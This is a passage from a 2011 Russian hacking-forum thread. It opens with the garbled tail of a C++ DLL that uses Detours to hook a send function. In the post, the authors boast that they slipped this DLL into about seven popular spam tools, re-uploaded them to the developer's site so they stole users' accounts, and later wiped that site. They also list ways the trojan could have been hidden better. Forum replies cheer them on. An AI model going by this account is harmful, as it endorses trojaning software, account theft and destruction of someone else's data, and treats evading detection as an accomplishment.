COLOR][COLOR="#0000BB"]DetourUpdateThread[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]GetCurrentThread[/COLOR][COLOR="#007700"]());

[/
COLOR][COLOR="#0000BB"]DetourDetach[/COLOR][COLOR="#007700"](&([/COLOR][COLOR="#0000BB"]PVOID[/COLOR][COLOR="#007700"]&)[/COLOR][COLOR="#0000BB"]RealSend[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]MySend[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]DetourTransactionCommit[/COLOR][COLOR="#007700"]();

}

return[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]//пустой экспорт, дабы студия собрала нормальную дллку

[/COLOR][COLOR="#0000BB"]extern[/COLOR][COLOR="#DD0000"]"C"[/COLOR][COLOR="#0000BB"]__declspec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dllexport[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]void __cdecl Alpha[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]void[/COLOR][COLOR="#007700"]) {};

[/
COLOR][/COLOR
Склейка с софтинами производилась с помощью molebox"а, палится, да и пофиг. Модифицировано и перезалито на сайт было примерно 7 программ. И стоило бы им подождать буквально пару деньков, djekxa вряд ли бы что-то заметил (даты файлов были изменены, все как надо).

Но, вы же знаете, Kaimi и dx нетерпеливые ребята, и буквально через пару часов левым аккаунтом была создана вопиющая тема (ссылка на нее - в начале статьи) о том, что софт ворует аккаунты, а софт-то не простого кодера, а вон какого популярного среди всяких спамеров. Сразу посыпались сообщения с разочарованиями, но постепенно все выяснялось, Kaimi с dx'ом понемногу палились (а как иначе? главное, чтобы было весело). Поэтому дальше шла чистейшей воды импровизация. Последним шагом было в удачный момент полностью стереть сайт Хеки и Аквакластер'а и сказать, что они заметают следы (Апач с очень кривыми правами, спасибо, мы поржали). Но, разумеется, в итоге все выяснилось, в частности, благодаря серьезной помощи M_Script"а, а ещё мелким косякам в реализации - надо было тщательнее скриншот проверять, шифровать содержимое контейнера с софтом, сжать его или дописать отправку непосредственно в код на асме и заручиться поддержкой нескольких людей, но мы же ленивые, а резонанс в теме уже пошел. (Хека бы сам ни за что не догадался, кто это сделал и как, и пошел бы разбираться со своими школьными врагами по району).

Разумеется, в итоге люди даже стали подозревать, чьих это рук дело, потому что вообще мало кто способен был такое организовать из юзеров античата. Поэтому мы и решили рассказать. Надеемся, что вам тоже было весело.

Теперь Kaimi решил вернуться на форум уже своим основным аккаунтом, а dx... dx еще не знает, что делать, поэтому его аккаунт пока что пребывает в бане.

Конечно, подобные деяния, наверное, по мнению модераторов раздела соцсетей, должны караться банами и прочими неприятными вещами, но вы сами подумайте, это же спамеры, они сами по себе занимаются нелегальщиной и мошенничеством, а мы лишь преподали небольшой урок, который, вероятно, даже пойдет им на пользу.

Так что без обид, djekxa, латай дыры и поменьше выпендривайся. M_Script как всегда молодец, без него бы пользователи еще долго страдали и думали, "А кто же это сдеееееелал?!!". Он вроде как в последнее время отошел от темы спама и написания такого софта, нас это радует. Все спамеры и софтописатели спам-софта - бойтесь, ведь никто из вас не знает, кто будет следующим и что мы придумаем в другой раз! Шутка

Всем спасибо и удачи. И да простит нас администрация за мультиакки, мы же ничего плохого не сделали, никого не разводили, а просто общались. Мы сделали Античат как минимум на 20% веселей и круче!
 
Ответить с цитированием

  #2  
Старый 16.08.2011, 19:19
Professor7717
Новичок
Регистрация: 10.02.2010
Сообщений: 13
Провел на форуме:
114441

Репутация: 0
По умолчанию

если это правда, молодцы
 
Ответить с цитированием

  #3  
Старый 16.08.2011, 19:20
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
Провел на форуме:
58401

Репутация: 0
По умолчанию

а тех кто в соц. сетях не тусуется эта тема обошла стороной... у нас в болталке всё также уныло
 
Ответить с цитированием

  #4  
Старый 16.08.2011, 19:25
A-Graff
Новичок
Регистрация: 14.08.2009
Сообщений: 0
Провел на форуме:
96555

Репутация: 0
По умолчанию

Ну вот моя гипотеза и подтвердилась

Kaimi, только поясни юзверям о том, что забанился ты совсем по другой теме (Я про дело с Пухом)

***ща остальное допишу, мне скрипт позвонил и сказал что вышло твое "откровение", а вай фай гамно, давно хотел задать пару публичных вопросах о "хомячках" и "тру понятиях"
 
Ответить с цитированием

  #5  
Старый 16.08.2011, 19:27
GRRRL Power
Постоянный
Регистрация: 13.07.2010
Сообщений: 823
Провел на форуме:
317378

Репутация: 84


По умолчанию

Автор конкретно этой темы не Kaimi, если что
 
Ответить с цитированием

  #6  
Старый 16.08.2011, 19:30
Shark04
Новичок
Регистрация: 22.11.2010
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

офигенно, 10 балов

С djekxa'ой постоянно работаю, поэтому интересно почитать было, на мой взгляд вполне порядочный человек и самое главное ответственный.
 
Ответить с цитированием

  #7  
Старый 16.08.2011, 19:32
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Улыбнуло. Сохранил эту пагу
 
Ответить с цитированием

  #8  
Старый 16.08.2011, 19:32
cuon05
Новичок
Регистрация: 09.08.2010
Сообщений: 0
Провел на форуме:
0

Репутация: 0
По умолчанию

В первый раз дочитал статью в античате,с удовольствием)
 
Ответить с цитированием

  #9  
Старый 16.08.2011, 19:32
«Adult Holding»
Banned
Регистрация: 07.10.2009
Сообщений: 128
Провел на форуме:
725524

Репутация: 63
По умолчанию

Цитата:
Сообщение от acult  
Это пять!
с плюсом.
 
Ответить с цитированием

  #10  
Старый 16.08.2011, 19:33
.::f-duck::.
Участник форума
Регистрация: 30.05.2009
Сообщений: 139
Провел на форуме:
620261

Репутация: 30
По умолчанию

Красавцы! Порадовали знатно
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.